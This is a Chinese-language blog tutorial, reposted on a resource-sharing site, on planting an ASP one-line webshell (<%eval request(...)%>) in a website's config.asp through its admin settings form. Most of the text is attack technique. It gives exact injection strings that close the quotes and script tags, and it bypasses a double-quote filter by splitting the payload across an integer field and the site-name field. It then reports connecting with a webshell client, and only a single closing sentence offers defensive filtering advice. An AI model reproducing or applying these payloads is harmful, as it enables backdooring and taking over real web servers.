也想出现在这里? 联系我们

浅说双引号被过滤时一句话的插入与防范

作者 : 小编 本文共1366个字,预计阅读时间需要4分钟 发布时间: 2021-06-11 共580人阅读
也想出现在这里? 联系我们

一般而言,后台插一句话,如果数据库扩展名是asp的话,那么插数据库,但是如果有配置文件可以插的话,那肯定是插入配置文件了,但是插入配置文件有一个很大的风险,那就是一旦出错那么全盘皆输,有可能不仅仅造成后台无法登陆,甚至有可能是整个网站系统崩溃,所以插入配置文件,请慎之又慎。话归正题,如果想插入配置文件,一般是config.asp,那么首先需要了解这个文件的一般情况。网站的配置一般是保存网站名,地址,email之类的,既然是字符,那么格式应当是webname=“test website”对于这样的配置插入一句话的话,我们的机会就是替换test website,那么需要闭合2个",同时要插入一句话,语句可以这样"%><%eval request("d"%><%s="那么在config.asp中就是webname=“"%><%eval request("d"%><%s="”第一个"是闭合前面的配置文件中的",%>就是闭合前一段脚本,之后插入一句话<%eval request("d"%>,现在要闭合原来的"和%>所以加入<%s=",这里特别要注意“s=”,如果没有这个等号的话,那么就会成<%" ",这样必将出错。好了,这是常规的办法,现在我们回到开始那个问题,按照前面的方法插入插入后,我们再点击“网站设置” ,出现错误从这个错误,我们可以得到2个信息。第一,配置文件的路径:http://www.target.com/zfbm/zfb/inc/config.asp第二,网站名的变量为webname。昨天由于很晚了,就没继续看,今天出差,晚上回来刚刚上Q,小刀刀就q我,说拿下了,并说这个后台过滤了双引号",结合昨天的错误一看果然是,由于我们闭合前面双引号起"的那个双引号收"被过滤成单引号\’,所以就成了webname=" \’,这样的话那么这个双引号没有闭合,由于双引号是vbscript的控制符,没有闭合config.asp运行必然出错。那么我们遇到这种双引号被过滤了的情况改怎么办呢。由于插入一句话必须要用双引号括起来,而输入双引号又被过滤,所以我们可以利用他们自身的双引号来解决。在配置文件中,我们还可以看到这样一些设置就是配置网站的公告数 ,文章数等。可以假设一下,他必然是整数赋值,没有双引号包括num=5num是整数型,不然就成字符了num="5"那么我们的一句话就可以这样构建,如图在公告数中我们插入5%><%eval request(webname)%><%必须要有5,不然将会出错,在网站名中我们插入"open"由于我们没有输入双引号,不存在过滤,我们利用 配置文件本身的双引号来达到目的。那么配置文件现在的内容如下<%………………..webname="open"num=5%><%eval request(webname)%><%webnum=7…….%>我们的一句话就相应为eval request("open"),open为密码。用菜刀成功连接从上可见,我们成功利用配置文件本身避开了一句话中双引号被过滤的问题。那么在网页设计方面,我们可以增加过滤<,%,>或者组合<%,%>这些特殊符号,禁止这些符号的输入,那么将大大增加网页安全。by daokers2010.4.28深夜于Canton

1. 本站所提供的源码模板(主题/插件)等资源仅供学习交流,若使用商业用途,请购买正版授权,否则产生的一切后果将由下载用户自行承担,有部分资源为网上收集或仿制而来,若模板侵犯了您的合法权益,请来信通知我们(Email: rayer@88.com),我们会及时删除,给您带来的不便,我们深表歉意!
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » 浅说双引号被过滤时一句话的插入与防范

常见问题FAQ

免费下载或者VIP会员专享资源能否直接商用?
本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
织梦模板使用说明
你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html

发表评论

Copyright 2015-2020 版权所有 资源分享吧 Rights Reserved. 蜀ICP备14022927号-1
开通VIP 享更多特权,建议使用QQ登录